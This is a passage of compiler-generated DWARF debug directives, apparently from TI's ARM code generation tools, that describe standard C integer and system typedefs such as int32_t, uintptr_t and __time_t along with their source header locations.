.dwattr $C$DW$T$50, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$50, DW_AT_decl_line(0x3a)
.dwattr $C$DW$T$50, DW_AT_decl_column(0x0e)
$C$DW$T$51 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$51, DW_AT_name("__cpulevel_t")
.dwattr $C$DW$T$51, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$T$51, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$51, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$51, DW_AT_decl_line(0x4b)
.dwattr $C$DW$T$51, DW_AT_decl_column(0x0e)
$C$DW$T$52 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$52, DW_AT_name("__cpusetid_t")
.dwattr $C$DW$T$52, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$T$52, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$52, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$52, DW_AT_decl_line(0x4c)
.dwattr $C$DW$T$52, DW_AT_decl_column(0x0e)
$C$DW$T$53 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$53, DW_AT_name("__cpuwhich_t")
.dwattr $C$DW$T$53, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$T$53, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$53, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$53, DW_AT_decl_line(0x4a)
.dwattr $C$DW$T$53, DW_AT_decl_column(0x0e)
$C$DW$T$54 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$54, DW_AT_name("__ct_rune_t")
.dwattr $C$DW$T$54, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$T$54, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$54, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$54, DW_AT_decl_line(0x60)
.dwattr $C$DW$T$54, DW_AT_decl_column(0x0e)
$C$DW$T$55 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$55, DW_AT_name("__rune_t")
.dwattr $C$DW$T$55, DW_AT_type(*$C$DW$T$54)
.dwattr $C$DW$T$55, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$55, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$55, DW_AT_decl_line(0x61)
.dwattr $C$DW$T$55, DW_AT_decl_column(0x15)
$C$DW$T$56 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$56, DW_AT_name("__wint_t")
.dwattr $C$DW$T$56, DW_AT_type(*$C$DW$T$54)
.dwattr $C$DW$T$56, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$56, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$56, DW_AT_decl_line(0x62)
.dwattr $C$DW$T$56, DW_AT_decl_column(0x15)
$C$DW$T$57 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$57, DW_AT_name("__int32_t")
.dwattr $C$DW$T$57, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$T$57, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$57, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$57, DW_AT_decl_line(0x3d)
.dwattr $C$DW$T$57, DW_AT_decl_column(0x0f)
$C$DW$T$58 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$58, DW_AT_name("__blksize_t")
.dwattr $C$DW$T$58, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$58, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$58, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$58, DW_AT_decl_line(0x2e)
.dwattr $C$DW$T$58, DW_AT_decl_column(0x13)
$C$DW$T$59 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$59, DW_AT_name("__clockid_t")
.dwattr $C$DW$T$59, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$59, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$59, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$59, DW_AT_decl_line(0x30)
.dwattr $C$DW$T$59, DW_AT_decl_column(0x13)
$C$DW$T$60 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$60, DW_AT_name("__critical_t")
.dwattr $C$DW$T$60, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$60, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$60, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$60, DW_AT_decl_line(0x4e)
.dwattr $C$DW$T$60, DW_AT_decl_column(0x13)
$C$DW$T$61 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$61, DW_AT_name("__int_fast16_t")
.dwattr $C$DW$T$61, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$61, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$61, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$61, DW_AT_decl_line(0x55)
.dwattr $C$DW$T$61, DW_AT_decl_column(0x13)
$C$DW$T$62 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$62, DW_AT_name("int_fast16_t")
.dwattr $C$DW$T$62, DW_AT_type(*$C$DW$T$61)
.dwattr $C$DW$T$62, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$62, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$62, DW_AT_decl_line(0x33)
.dwattr $C$DW$T$62, DW_AT_decl_column(0x19)
$C$DW$T$63 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$63, DW_AT_name("__int_fast32_t")
.dwattr $C$DW$T$63, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$63, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$63, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$63, DW_AT_decl_line(0x56)
.dwattr $C$DW$T$63, DW_AT_decl_column(0x13)
$C$DW$T$64 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$64, DW_AT_name("int_fast32_t")
.dwattr $C$DW$T$64, DW_AT_type(*$C$DW$T$63)
.dwattr $C$DW$T$64, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$64, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$64, DW_AT_decl_line(0x34)
.dwattr $C$DW$T$64, DW_AT_decl_column(0x19)
$C$DW$T$65 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$65, DW_AT_name("__int_fast8_t")
.dwattr $C$DW$T$65, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$65, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$65, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$65, DW_AT_decl_line(0x54)
.dwattr $C$DW$T$65, DW_AT_decl_column(0x13)
$C$DW$T$66 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$66, DW_AT_name("int_fast8_t")
.dwattr $C$DW$T$66, DW_AT_type(*$C$DW$T$65)
.dwattr $C$DW$T$66, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$66, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$66, DW_AT_decl_line(0x32)
.dwattr $C$DW$T$66, DW_AT_decl_column(0x18)
$C$DW$T$67 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$67, DW_AT_name("__int_least32_t")
.dwattr $C$DW$T$67, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$67, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$67, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$67, DW_AT_decl_line(0x5a)
.dwattr $C$DW$T$67, DW_AT_decl_column(0x13)
$C$DW$T$68 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$68, DW_AT_name("int_least32_t")
.dwattr $C$DW$T$68, DW_AT_type(*$C$DW$T$67)
.dwattr $C$DW$T$68, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$68, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$68, DW_AT_decl_line(0x2a)
.dwattr $C$DW$T$68, DW_AT_decl_column(0x1a)
$C$DW$T$69 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$69, DW_AT_name("__intfptr_t")
.dwattr $C$DW$T$69, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$69, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$69, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$69, DW_AT_decl_line(0x51)
.dwattr $C$DW$T$69, DW_AT_decl_column(0x13)
$C$DW$T$70 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$70, DW_AT_name("__intptr_t")
.dwattr $C$DW$T$70, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$70, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$70, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$70, DW_AT_decl_line(0x53)
.dwattr $C$DW$T$70, DW_AT_decl_column(0x13)
$C$DW$T$71 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$71, DW_AT_name("intptr_t")
.dwattr $C$DW$T$71, DW_AT_type(*$C$DW$T$70)
.dwattr $C$DW$T$71, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$71, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$71, DW_AT_decl_line(0x4c)
.dwattr $C$DW$T$71, DW_AT_decl_column(0x15)
$C$DW$T$72 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$72, DW_AT_name("__lwpid_t")
.dwattr $C$DW$T$72, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$72, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$72, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$72, DW_AT_decl_line(0x38)
.dwattr $C$DW$T$72, DW_AT_decl_column(0x13)
$C$DW$T$73 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$73, DW_AT_name("__pid_t")
.dwattr $C$DW$T$73, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$73, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$73, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$73, DW_AT_decl_line(0x3f)
.dwattr $C$DW$T$73, DW_AT_decl_column(0x13)
$C$DW$T$74 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$74, DW_AT_name("__ptrdiff_t")
.dwattr $C$DW$T$74, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$74, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$74, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$74, DW_AT_decl_line(0x5c)
.dwattr $C$DW$T$74, DW_AT_decl_column(0x13)
$C$DW$T$75 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$75, DW_AT_name("__register_t")
.dwattr $C$DW$T$75, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$75, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$75, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$75, DW_AT_decl_line(0x5d)
.dwattr $C$DW$T$75, DW_AT_decl_column(0x13)
$C$DW$T$76 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$76, DW_AT_name("__segsz_t")
.dwattr $C$DW$T$76, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$76, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$76, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$76, DW_AT_decl_line(0x5e)
.dwattr $C$DW$T$76, DW_AT_decl_column(0x13)
$C$DW$T$77 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$77, DW_AT_name("__ssize_t")
.dwattr $C$DW$T$77, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$77, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$77, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$77, DW_AT_decl_line(0x60)
.dwattr $C$DW$T$77, DW_AT_decl_column(0x13)
$C$DW$T$78 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$78, DW_AT_name("int32_t")
.dwattr $C$DW$T$78, DW_AT_type(*$C$DW$T$57)
.dwattr $C$DW$T$78, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$78, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$78, DW_AT_decl_line(0x2e)
.dwattr $C$DW$T$78, DW_AT_decl_column(0x14)
$C$DW$T$79 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$79, DW_AT_name("__nl_item")
.dwattr $C$DW$T$79, DW_AT_type(*$C$DW$T$10)
.dwattr $C$DW$T$79, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$79, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$79, DW_AT_decl_line(0x3b)
.dwattr $C$DW$T$79, DW_AT_decl_column(0x0e)
$C$DW$T$11 .dwtag DW_TAG_base_type
.dwattr $C$DW$T$11, DW_AT_encoding(DW_ATE_unsigned)
.dwattr $C$DW$T$11, DW_AT_name("unsigned int")
.dwattr $C$DW$T$11, DW_AT_byte_size(0x04)
$C$DW$T$25 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$25, DW_AT_name("__uint32_t")
.dwattr $C$DW$T$25, DW_AT_type(*$C$DW$T$11)
.dwattr $C$DW$T$25, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$25, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$25, DW_AT_decl_line(0x3e)
.dwattr $C$DW$T$25, DW_AT_decl_column(0x17)
$C$DW$T$80 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$80, DW_AT_name("__clock_t")
.dwattr $C$DW$T$80, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$80, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$80, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$80, DW_AT_decl_line(0x4d)
.dwattr $C$DW$T$80, DW_AT_decl_column(0x14)
$C$DW$T$81 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$81, DW_AT_name("__fflags_t")
.dwattr $C$DW$T$81, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$81, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$81, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$81, DW_AT_decl_line(0x31)
.dwattr $C$DW$T$81, DW_AT_decl_column(0x14)
$C$DW$T$82 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$82, DW_AT_name("__fixpt_t")
.dwattr $C$DW$T$82, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$82, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$82, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$82, DW_AT_decl_line(0x76)
.dwattr $C$DW$T$82, DW_AT_decl_column(0x14)
$C$DW$T$83 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$83, DW_AT_name("__gid_t")
.dwattr $C$DW$T$83, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$83, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$83, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$83, DW_AT_decl_line(0x34)
.dwattr $C$DW$T$83, DW_AT_decl_column(0x14)
$C$DW$T$84 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$84, DW_AT_name("__size_t")
.dwattr $C$DW$T$84, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$84, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$84, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$84, DW_AT_decl_line(0x5f)
.dwattr $C$DW$T$84, DW_AT_decl_column(0x14)
$C$DW$T$85 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$85, DW_AT_name("__socklen_t")
.dwattr $C$DW$T$85, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$85, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$85, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$85, DW_AT_decl_line(0x44)
.dwattr $C$DW$T$85, DW_AT_decl_column(0x14)
$C$DW$T$86 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$86, DW_AT_name("__time_t")
.dwattr $C$DW$T$86, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$86, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$86, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$86, DW_AT_decl_line(0x64)
.dwattr $C$DW$T$86, DW_AT_decl_column(0x19)
$C$DW$T$87 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$87, DW_AT_name("__u_register_t")
.dwattr $C$DW$T$87, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$87, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$87, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$87, DW_AT_decl_line(0x71)
.dwattr $C$DW$T$87, DW_AT_decl_column(0x14)
$C$DW$T$88 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$88, DW_AT_name("__uid_t")
.dwattr $C$DW$T$88, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$88, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$88, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$88, DW_AT_decl_line(0x48)
.dwattr $C$DW$T$88, DW_AT_decl_column(0x14)
$C$DW$T$89 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$89, DW_AT_name("__uint_fast16_t")
.dwattr $C$DW$T$89, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$89, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$89, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$89, DW_AT_decl_line(0x6a)
.dwattr $C$DW$T$89, DW_AT_decl_column(0x14)
$C$DW$T$90 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$90, DW_AT_name("uint_fast16_t")
.dwattr $C$DW$T$90, DW_AT_type(*$C$DW$T$89)
.dwattr $C$DW$T$90, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$90, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$90, DW_AT_decl_line(0x38)
.dwattr $C$DW$T$90, DW_AT_decl_column(0x1a)
$C$DW$T$91 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$91, DW_AT_name("__uint_fast32_t")
.dwattr $C$DW$T$91, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$91, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$91, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$91, DW_AT_decl_line(0x6b)
.dwattr $C$DW$T$91, DW_AT_decl_column(0x14)
$C$DW$T$92 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$92, DW_AT_name("uint_fast32_t")
.dwattr $C$DW$T$92, DW_AT_type(*$C$DW$T$91)
.dwattr $C$DW$T$92, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$92, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$92, DW_AT_decl_line(0x39)
.dwattr $C$DW$T$92, DW_AT_decl_column(0x1a)
$C$DW$T$93 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$93, DW_AT_name("__uint_fast8_t")
.dwattr $C$DW$T$93, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$93, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$93, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$93, DW_AT_decl_line(0x69)
.dwattr $C$DW$T$93, DW_AT_decl_column(0x14)
$C$DW$T$94 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$94, DW_AT_name("uint_fast8_t")
.dwattr $C$DW$T$94, DW_AT_type(*$C$DW$T$93)
.dwattr $C$DW$T$94, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$94, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$94, DW_AT_decl_line(0x37)
.dwattr $C$DW$T$94, DW_AT_decl_column(0x19)
$C$DW$T$95 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$95, DW_AT_name("__uint_least32_t")
.dwattr $C$DW$T$95, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$95, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$95, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$95, DW_AT_decl_line(0x6f)
.dwattr $C$DW$T$95, DW_AT_decl_column(0x14)
$C$DW$T$96 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$96, DW_AT_name("__char32_t")
.dwattr $C$DW$T$96, DW_AT_type(*$C$DW$T$95)
.dwattr $C$DW$T$96, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$96, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_types.h")
.dwattr $C$DW$T$96, DW_AT_decl_line(0x67)
.dwattr $C$DW$T$96, DW_AT_decl_column(0x1a)
$C$DW$T$97 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$97, DW_AT_name("uint_least32_t")
.dwattr $C$DW$T$97, DW_AT_type(*$C$DW$T$95)
.dwattr $C$DW$T$97, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$97, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/stdint.h")
.dwattr $C$DW$T$97, DW_AT_decl_line(0x2f)
.dwattr $C$DW$T$97, DW_AT_decl_column(0x1a)
$C$DW$T$98 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$98, DW_AT_name("__uintfptr_t")
.dwattr $C$DW$T$98, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$98, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$98, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$98, DW_AT_decl_line(0x66)
.dwattr $C$DW$T$98, DW_AT_decl_column(0x14)
$C$DW$T$99 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$99, DW_AT_name("__uintptr_t")
.dwattr $C$DW$T$99, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$99, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$99, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$99, DW_AT_decl_line(0x68)
.dwattr $C$DW$T$99, DW_AT_decl_column(0x14)
$C$DW$T$100 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$100, DW_AT_name("uintptr_t")
.dwattr $C$DW$T$100, DW_AT_type(*$C$DW$T$99)
.dwattr $C$DW$T$100, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$100, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$100, DW_AT_decl_line(0x50)
.dwattr $C$DW$T$100, DW_AT_decl_column(0x16)
$C$DW$T$101 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$101, DW_AT_name("__vm_offset_t")
.dwattr $C$DW$T$101, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$101, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$101, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$101, DW_AT_decl_line(0x72)
.dwattr $C$DW$T$101, DW_AT_decl_column(0x14)
$C$DW$T$102 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$102, DW_AT_name("__vm_paddr_t")
.dwattr $C$DW$T$102, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$102, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$102, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$102, DW_AT_decl_line(0x73)
.dwattr $C$DW$T$102, DW_AT_decl_column(0x14)
$C$DW$T$103 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$103, DW_AT_name("__vm_size_t")
.dwattr $C$DW$T$103, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$103, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$103, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/machine/_types.h")
.dwattr $C$DW$T$103, DW_AT_decl_line(0x74)
.dwattr $C$DW$T$103, DW_AT_decl_column(0x14)
$C$DW$T$26 .dwtag DW_TAG_typedef
.dwattr $C$DW$T$26, DW_AT_name("uint32_t")
.dwattr $C$DW$T$26, DW_AT_type(*$C$DW$T$25)
.dwattr $C$DW$T$26, DW_AT_language(DW_LANG_C)
.dwattr $C$DW$T$26, DW_AT_decl_file("/home/pola/ti/ccsv8/tools/compiler/ti-cgt-arm_18.1.1.LTS/include/sys/_stdint.h")
.dwattr $C$DW$T$26, DW_AT_decl_line(0x42)
.dwattr $C$DW$T$26, DW_AT_decl_column(0x15)
